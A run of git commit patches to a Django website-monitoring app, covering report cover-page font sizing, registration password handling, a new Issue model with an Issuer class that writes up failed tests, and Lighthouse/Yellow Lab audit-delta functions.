-            self.c.setFont('Helvetica-Bold', 30)
-            self.c.drawString(.5*inch, 9*inch, self.page.page_url)
-        elif 12 < len(self.page.page_url):
-            extra_chars = len(self.page.page_url) - 12
-            m = (2/5)
-            y_offset = .5
-            length = int(20 + (extra_chars * m))
-            self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m)))
-            self.c.setFillColor(HexColor(self.text_color))
-            self.draw_wrapped_line(text=self.page.page_url, length=length, x_pos=.5, y_pos=9, y_offset=y_offset)
+        
+        # page url
+        font_size = max((30 * (26/len(self.page.page_url))), 16)
+        self.c.setFont('Helvetica-Bold', 30)
+        self.draw_wrapped_line(text=self.page.page_url, length=28, x_pos=.5, y_pos=9, y_offset=.5)
+        # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
+
+        # if len(self.page.page_url) <= 12:
+        #     self.c.setFont('Helvetica-Bold', 30)
+        #     self.c.drawString(.5*inch, 9*inch, self.page.page_url)
+        
+        # elif 12 < len(self.page.page_url):
+        #     extra_chars = len(self.page.page_url) - 12
+        #     m = (2/5)
+        #     y_offset = .5
+        #     length = int(20 + (extra_chars * m))
+        #     self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m)))
+        #     self.c.setFillColor(HexColor(self.text_color))
+        #     self.draw_wrapped_line(text=self.page.page_url, length=length, x_pos=.5, y_pos=9, y_offset=y_offset)
+        
         # cover img
         cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png")
         self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto')

From 301b8822a6abfbbf53430e35507c8d19e8b96a72 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:27:01 -0600
Subject: [PATCH 0580/1099] testing report title calc

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 3e69cae6..369485d7 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,7 +194,7 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (26/len(self.page.page_url))), 16)
+        font_size = max((30 * (19/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', 30)
         self.draw_wrapped_line(text=self.page.page_url, length=28, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)

From 399ef9e8de012e86578362ebc8c465726ddd1219 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:31:11 -0600
Subject: [PATCH 0581/1099] testing report title calc

---
 app/api/utils/reporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 369485d7..5c3a3a0c 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,9 +194,9 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (19/len(self.page.page_url))), 16)
+        font_size = max((30 * (19/len(self.page.page_url))), 12)
         self.c.setFont('Helvetica-Bold', 30)
-        self.draw_wrapped_line(text=self.page.page_url, length=28, x_pos=.5, y_pos=9, y_offset=.5)
+        self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 
         # if len(self.page.page_url) <= 12:

From a6bef47194c26a21bbe6e9ad6aea31e1ff1a4b60 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:37:35 -0600
Subject: [PATCH 0582/1099] testing calc

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 5c3a3a0c..8113d9b3 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,7 +194,7 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (19/len(self.page.page_url))), 12)
+        font_size = max((30 * (15/len(self.page.page_url))), 10)
         self.c.setFont('Helvetica-Bold', 30)
         self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)

From 4548ba514fb038179d3f5f85e8c702df1bc61ec1 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 10:38:34 -0600
Subject: [PATCH 0583/1099] testing calc

---
 app/api/utils/reporter.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 8113d9b3..9797581d 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,8 +194,8 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (15/len(self.page.page_url))), 10)
-        self.c.setFont('Helvetica-Bold', 30)
+        font_size = max((30 * (19/len(self.page.page_url))), 16)
+        self.c.setFont('Helvetica-Bold', font_size)
         self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 

From 36f67b457f96179da945c8ffc4074b1cb223a6ff Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 11:02:01 -0600
Subject: [PATCH 0584/1099] testing calc

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 9797581d..baa568e5 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -194,7 +194,7 @@ def cover_page(self) -> None:
         self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
         
         # page url
-        font_size = max((30 * (19/len(self.page.page_url))), 16)
+        font_size = max((30 * (26/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', font_size)
         self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)

From 32ffd4c451d476f08ab05f350feb36ce4e5a6909 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 11:12:12 -0600
Subject: [PATCH 0585/1099] testing

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index baa568e5..ad508d11 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -196,7 +196,7 @@ def cover_page(self) -> None:
         # page url
         font_size = max((30 * (26/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', font_size)
-        self.draw_wrapped_line(text=self.page.page_url, length=40, x_pos=.5, y_pos=9, y_offset=.5)
+        self.draw_wrapped_line(text=self.page.page_url, length=55, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 
         # if len(self.page.page_url) <= 12:

From 299cb4f4e218c0caa310516a49397ee88494571a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 11:16:04 -0600
Subject: [PATCH 0586/1099] testing calc

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index ad508d11..77a36a74 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -196,7 +196,7 @@ def cover_page(self) -> None:
         # page url
         font_size = max((30 * (26/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', font_size)
-        self.draw_wrapped_line(text=self.page.page_url, length=55, x_pos=.5, y_pos=9, y_offset=.5)
+        self.draw_wrapped_line(text=self.page.page_url, length=65, x_pos=.5, y_pos=9, y_offset=.5)
         # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 
         # if len(self.page.page_url) <= 12:

From 09b1aeb3898ef7d231ba03b0e8c456b8ee93b02e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 4 Jun 2024 11:19:09 -0600
Subject: [PATCH 0587/1099] fixed title calc

---
 app/api/utils/reporter.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 77a36a74..768783d0 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -197,7 +197,6 @@ def cover_page(self) -> None:
         font_size = max((30 * (26/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', font_size)
         self.draw_wrapped_line(text=self.page.page_url, length=65, x_pos=.5, y_pos=9, y_offset=.5)
-        # self.c.drawString(.5*inch, 9*inch, self.page.page_url)
 
         # if len(self.page.page_url) <= 12:
         #     self.c.setFont('Helvetica-Bold', 30)

From 634a118d9ce6b39611f6f26a69f0255fe62ed656 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 5 Jun 2024 11:54:48 -0600
Subject: [PATCH 0588/1099] fixing password issues

---
 app/api/v1/auth/services.py | 54 +++++++++++++++++++------------------
 1 file changed, 28 insertions(+), 26 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 008215c5..dc4bc5a5 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -74,36 +74,38 @@ def register_user(request: object) -> object:
         return Response(data=data, status=status.HTTP_409_CONFLICT)
     
     # validate password and create user
-    if validate_password(password) == None:
+    try:
+        # check password
+        if validate_password(password) == None:
             
-        # create user
-        user = User.objects.create(
-            username=username,
-            email=username,
-            first_name=first_name,
-            last_name=last_name
-        )
+            # create user
+            user = User.objects.create(
+                username=username,
+                email=username,
+                first_name=first_name,
+                last_name=last_name
+            )
 
-        # setting password
-        user.set_password(raw_password=password)
-        user.save()
-        
-        # generating JWTs
-        refresh = RefreshToken.for_user(user)
+            # setting password
+            user.set_password(raw_password=password)
+            user.save()
+            
+            # generating JWTs
+            refresh = RefreshToken.for_user(user)
 
-        # generate API token
-        api_token = Token.objects.create(user=user)
-        
-        # returning data
-        data = {
-            'user': UserSerializer(user).data,
-            'token': str(refresh.access_token),
-            'refresh': str(refresh),
-            'api_token': str(api_token.key)
-        }
-        return Response(data=data, status=status.HTTP_201_CREATED)
+            # generate API token
+            api_token = Token.objects.create(user=user)
+            
+            # returning data
+            data = {
+                'user': UserSerializer(user).data,
+                'token': str(refresh.access_token),
+                'refresh': str(refresh),
+                'api_token': str(api_token.key)
+            }
+            return Response(data=data, status=status.HTTP_201_CREATED)
 
-    else:
+    except:
         data = {'detail': 'Please choose a stronger password.'}
         return Response(data=data, status=status.HTTP_400_BAD_REQUEST)
 

From 7aae9fd2fae2f16933ee730a777204a3c2681f10 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 10:39:15 -0600
Subject: [PATCH 0589/1099] adding Issuer generation

---
 app/api/admin.py              |   7 +
 app/api/models.py             | 120 ++++++++------
 app/api/utils/caser.py        |   9 ++
 app/api/utils/issuer.py       | 160 ++++++++++++++++++
 app/api/utils/tester.py       | 218 ++++++++++++++++++++-----
 app/api/v1/ops/serializers.py |  19 ++-
 app/api/v1/ops/services.py    | 297 ++++++++++++++++++++++++++++++++--
 app/api/v1/ops/urls.py        |  22 +--
 app/api/v1/ops/views.py       |  35 ++++
 app/scanerr/settings.py       |   6 +
 env/.env.dev.example          |   3 +
 notes/Kubernetes.md           |   2 +
 12 files changed, 779 insertions(+), 119 deletions(-)
 create mode 100644 app/api/utils/issuer.py

diff --git a/app/api/admin.py b/app/api/admin.py
index 141e7060..50b2f862 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -116,6 +116,13 @@ class TestcaseAdmin(admin.ModelAdmin):
 
 
 
+@admin.register(Issue)
+class IssueAdmin(admin.ModelAdmin):
+    list_display = ('__str__', 'account', 'time_created', 'read',)
+
+
+
+
 @admin.register(Mask)
 class MaskAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'mask_id', 'active', 'time_created',)
diff --git a/app/api/models.py b/app/api/models.py
index 27135ca6..090bbf9d 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -374,6 +374,8 @@ class Test(models.Model):
     pre_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='pre_scan')
     post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan')
     score = models.FloatField(serialize=True, null=True, blank=True)
+    threshold = models.FloatField(serialize=True, null=True, blank=True)
+    status = models.CharField(max_length=500, serialize=True, null=True, blank=True) # working, failed, passed
     component_scores = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_default)
     html_delta = models.CharField(max_length=5000, serialize=True, null=True, blank=True)
     logs_delta = models.JSONField(serialize=True, null=True, blank=True)
@@ -390,50 +392,39 @@ def __str__(self):
 
 
 
-class Schedule(models.Model):
+class Case(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
-    time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
+    name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
-    task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase
-    timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True)
-    begin_date = models.DateTimeField(default=datetime.now, serialize=True)
-    time = models.CharField(max_length=100, null=True, blank=True, serialize=True)
-    frequency = models.CharField(default="monthly", max_length=100, serialize=True) # daily, weekly, monthly,
-    task = models.CharField(max_length=500, null=True, blank=True, serialize=True) # assigning shared task
-    crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
-    periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
-    status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True)
-    extras = models.JSONField(serialize=True, null=True, blank=True)
+    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
+    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
-        if self.site is not None:
-            url = self.site.site_url
-            level = 'site'
-        if self.page is not None:
-            url = self.page.site.site_url
-            level = 'page'
-
-        return f'{url}_{self.task_type}_{level}'
+        return f'{self.name}' if len(self.name) > 0 else str(id)
 
 
 
 
-class Automation(models.Model):
+class Testcase(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True)
+    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    schedule = models.ForeignKey(Schedule, on_delete=models.CASCADE, null=True, blank=True, serialize=True, related_name='assoc_sch')
-    expressions = models.JSONField(serialize=True, null=True, blank=True, default=get_expressions_default)
-    actions = models.JSONField(serialize=True, null=True, blank=True, default=get_actions_default)
+    time_completed = models.DateTimeField(null=True, blank=True, serialize=True)
+    passed = models.BooleanField(default=False, serialize=True)
+    steps = models.JSONField(serialize=True, null=True, blank=True)
+    configs = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.name}'
+        return f'{self.case.name}__testcase'
 
 
 
@@ -455,42 +446,71 @@ def __str__(self):
 
 
 
-class Case(models.Model):
+class Issue(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    time_created = models.DateTimeField(default=timezone.now, serialize=True)
+    trigger = models.JSONField(serialize=True, null=True, blank=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    title = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    details = models.TextField(serialize=True, null=True, blank=True)
+    status = models.CharField(max_length=500, serialize=True, default='open')
+    affected = models.JSONField(serialize=True, null=True, blank=True)
+    labels = models.JSONField(serialize=True, null=True, blank=True)
+    read = models.BooleanField(default=False, serialize=True)
+
+    def __str__(self):
+        return f'{self.title if self.title is not None else self.id}__issue'
+
+
+
+
+class Schedule(models.Model):
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
-    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
+    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
+    time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
+    user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase
+    timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True)
+    begin_date = models.DateTimeField(default=datetime.now, serialize=True)
+    time = models.CharField(max_length=100, null=True, blank=True, serialize=True)
+    frequency = models.CharField(default="monthly", max_length=100, serialize=True) # daily, weekly, monthly,
+    task = models.CharField(max_length=500, null=True, blank=True, serialize=True) # assigning shared task
+    crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
+    periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
+    status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True)
+    extras = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.name}' if len(self.name) > 0 else str(id)
+        if self.site is not None:
+            url = self.site.site_url
+            level = 'site'
+        if self.page is not None:
+            url = self.page.site.site_url
+            level = 'page'
 
+        return f'{url}_{self.task_type}_{level}'
 
 
 
-class Testcase(models.Model):
+
+class Automation(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True)
+    name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
-    case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True)
-    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
-    time_completed = models.DateTimeField(null=True, blank=True, serialize=True)
-    passed = models.BooleanField(default=False, serialize=True)
-    steps = models.JSONField(serialize=True, null=True, blank=True)
-    configs = models.JSONField(serialize=True, null=True, blank=True)
+    schedule = models.ForeignKey(Schedule, on_delete=models.CASCADE, null=True, blank=True, serialize=True, related_name='assoc_sch')
+    expressions = models.JSONField(serialize=True, null=True, blank=True, default=get_expressions_default)
+    actions = models.JSONField(serialize=True, null=True, blank=True, default=get_actions_default)
 
     def __str__(self):
-        return f'{self.case.name}__testcase'
+        return f'{self.name}'
+
 
 
-    
 
 class Mask(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 7bd5576c..843c24d1 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,6 +1,7 @@
 from .driver_p import driver_init as driver_p_init
 from .driver_s import driver_init as driver_s_init
 from .driver_s import driver_wait, quit_driver
+from .issuer import Issuer
 import time, uuid, json, boto3, os
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
@@ -545,6 +546,10 @@ def run_s(self) -> None:
         )
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
+
+        if not self.testcase.passed:
+            print('generating new Issue...')
+            Issuer(testcase=self.testcase).build_issue()
         
         return None
 
@@ -840,6 +845,10 @@ async def run_p(self) -> None:
         await self.driver.close()
         print('-- testcase run complete --')
 
+        if not self.testcase.passed:
+            print('generating new Issue...')
+            Issuer(testcase=self.testcase).build_issue()
+
         return None
 
     
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
new file mode 100644
index 00000000..6dda32d1
--- /dev/null
+++ b/app/api/utils/issuer.py
@@ -0,0 +1,160 @@
+from ..models import *
+from scanerr import settings
+import time, os, json, uuid, random, boto3
+
+
+
+
+
+
+class Issuer():
+    """ 
+    Generate new `Issue` for the passed 'test' or 'testcase'.
+
+    Expects: {
+        'test'        : object,
+        'testcase'    : object,
+    }
+
+    Use `Issuer.build_issue()` to generate new `Issue`
+
+    Returns -> None
+    """
+
+
+
+
+    def __init__(
+            self, 
+            test: object=None,
+            testcase: object=None,
+        ):
+         
+        # main objects
+        self.test = test
+        self.testcase = testcase
+
+
+    
+
+    def build_issue(self):
+        """ 
+        Creates a new `Issue` based on the info 
+        from the passed "self.test" or "self.testcase"
+
+        Expects: None
+
+        Returns -> `Issue` <obj>
+        """
+
+        # defining top level attrs
+        title = None
+        details = None
+        labels = None
+        account = self.test.page.account if self.test else self.testcase.account
+        trigger = {
+            'type': 'test' if self.test else 'testcase', 
+            'id': str(self.test.id) if self.test else str(self.testcase.id)
+        }
+        affected = {
+            'type': 'page' if self.test else 'site',
+            'id': str(self.test.page.id) if self.test else str(self.testcase.site.id),
+            'str': self.test.page.page_url if self.test else self.testcase.site.site_url
+        }
+
+        # defining detail components 
+        intro = ''
+        main_issue = ''
+        recommendation = ''
+
+        # building details, title, & labels 
+        # for testcase failure
+        if self.testcase:
+
+            # get first step that failed in testcase
+            failed_step = None
+            step_index = 0
+            for step in self.testcase.steps:
+                step_index += 1
+                if not step['action']['passed']:
+                    failed_step = step
+                    break
+
+            # build title
+            title = f'Testcase "{self.testcase.case_name}" Failed'
+
+            # build intro
+            intro = str(
+                f'Testcase `{self.testcase.case_name}` failed on **Step {step_index}**,' + 
+                f' "{failed_step['action']['type']}".\n\n'
+            )
+            
+            # build main_issue
+            main_issue = str(
+                f'### Main Issue or Exception:\n' + 
+                f' ```{failed_step['action']['exception']}``` \n\n' +
+                f' <img src="{failed_step['action']['image']}" className="max-w-3/4"/> \n\n'
+            )
+
+            # build recommendation
+            recommendation = str(
+                f''
+            )
+
+        # building details, title, & labels 
+        # for test failure
+        if self.test:
+
+            # grabbing component scores
+            # which were less than the test.threshold
+            ordered_scores = []
+            for key in self.test.component_scores:
+                if self.test.component_scores[key] is not None:
+                    if self.test.component_scores[key] < self.test.threshold:
+                        ordered_scores.append({key: self.test.component_scores[key]})
+
+            # build components str
+            comp_str = str('| Component | Score |\n|-----|-----|')
+            for score in ordered_scores:
+                for key in score:
+                    comp_str += f'\n| {key} | {round(score[key], 2)} |'
+
+            # build title
+            title = f'Test Failed at {round(self.test.score, 2)}%'
+
+            # build intro
+            intro = str(
+                f'Test failed for the page "{self.test.page.page_url}" ' + 
+                f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n'
+            )
+
+            # build main_issue
+            main_issue = str(
+                f'### Failing Components:\n' + 
+                f'{comp_str}'
+            )
+
+            # build recommendation
+            recommendation = str(
+                f''
+            )
+
+        # build details from components
+        details = intro + main_issue + recommendation
+
+        # creating new Issue
+        issue = Issue.objects.create(
+            account  = account,
+            title    = title,
+            details  = details,
+            labels   = labels, 
+            trigger  = trigger,
+            affected = affected
+        )
+        
+        # new Issue
+        return issue
+
+
+
+
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 17d3de6f..cf57fbfe 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -3,6 +3,7 @@
 from .imager import Imager
 from scanerr import settings
 from difflib import SequenceMatcher
+from .issuer import Issuer
 import os, json, random, \
 string, re, requests, uuid, boto3
 
@@ -348,14 +349,14 @@ def delta_lighthouse(self) -> dict:
             pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility'])
             pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance'])
             pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices'])
-            pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa'])
+            pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
             
             # get post scores
             post_seo = int(self.test.post_scan.lighthouse["scores"]['seo'])
             post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility'])
             post_performance = int(self.test.post_scan.lighthouse["scores"]['performance'])
             post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices'])
-            post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa'])
+            post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0
 
             # try to get pre and post crux scores
             try:
@@ -512,6 +513,118 @@ def delta_yellowlab(self) -> dict:
 
 
 
+    def get_lh_audits_deltas(self, scores: dict) -> str:
+        # finds and records the changes in LH audit data
+        # then saves as .json file in s3 and returns 
+
+        # defaults
+        audits = {
+            "seo":[],
+            "accessibility": [],
+            "performance": [],
+            "pwa": [],
+            "best_practices": [],
+            "crux": []
+        }
+
+        # get pre & post audits
+        pre_scan_audits = requests.get(self.test.pre_scan.lighthouse['audits']).json()
+        post_scan_audits = requests.get(self.test.post_scan.lighthouse['audits']).json()
+
+        # deciding which categories to 
+        # compare based on score
+        cats = []
+        for key in scores:
+            # checking for a delta score
+            if '_delta' in key and 'average' not in key:
+                # check if delta not Zero
+                if scores[key] is not None:
+                    if float(scores[key]) != 0:
+                        cats.append(str(key).split('_delta')[0])
+
+        # compare each audit in each of the 
+        # selected categories
+        for cat in cats:
+            for audit in post_scan_audits[cat]:
+                found = False
+                for aud in pre_scan_audits[cat]:
+                    if audit == aud:
+                        found = True
+                        break
+
+                # record post_ audit if not 
+                # found in pre_
+                if not found:
+                    audits[cat].append(audit)
+
+        # save data at .json in s3
+        lh_audit_file_uri = self.save_data_to_s3(_data=audits)
+
+        print(f'LH audit deltas -> {lh_audit_file_uri}')
+
+        # return uri
+        return lh_audit_file_uri
+
+
+
+
+    def get_yl_audits_deltas(self, scores: dict) -> str:
+        # finds and records the changes in YL audit data
+        # then saves as .json file in s3 and returns 
+
+        # defaults
+        audits = {
+            "pageWeight":[],
+            "images": [],
+            "domComplexity": [],
+            "javascriptComplexity": [],
+            "badJavascript": [],
+            "jQuery": [],
+            "cssComplexity": [],
+            "badCSS": [],
+            "fonts": [],
+            "serverConfig": [],
+        }
+
+        # get pre & post audits
+        pre_scan_audits = requests.get(self.test.pre_scan.yellowlab['audits']).json()
+        post_scan_audits = requests.get(self.test.post_scan.yellowlab['audits']).json()
+
+        # deciding which categories to 
+        # compare based on score
+        cats = []
+        for key in scores:
+            # checking for a delta score
+            if '_delta' in key and 'average' not in key:
+                # check if delta not Zero
+                if scores[key] is not None:
+                    if float(scores[key]) != 0:
+                        cats.append(str(key).split('_delta')[0])
+
+        # compare each audit in each of the 
+        # selected categories
+        for cat in cats:
+            for audit in post_scan_audits[cat]:
+                found = False
+                for aud in pre_scan_audits[cat]:
+                    if audit == aud:
+                        found = True
+                        break
+
+                # record post_ audit if not 
+                # found in pre_
+                if not found:
+                    audits[cat].append(audit)
+
+        # save data at .json in s3
+        yl_audit_file_uri = self.save_data_to_s3(_data=audits)
+
+        # return uri
+        return yl_audit_file_uri
+
+
+
+
     def update_site_info(self, test: object) -> object:
         # updates associated Site with 
         # new Test data
@@ -539,6 +652,7 @@ def update_site_info(self, test: object) -> object:
             site.info['latest_test']['time_created'] = str(test.time_created)
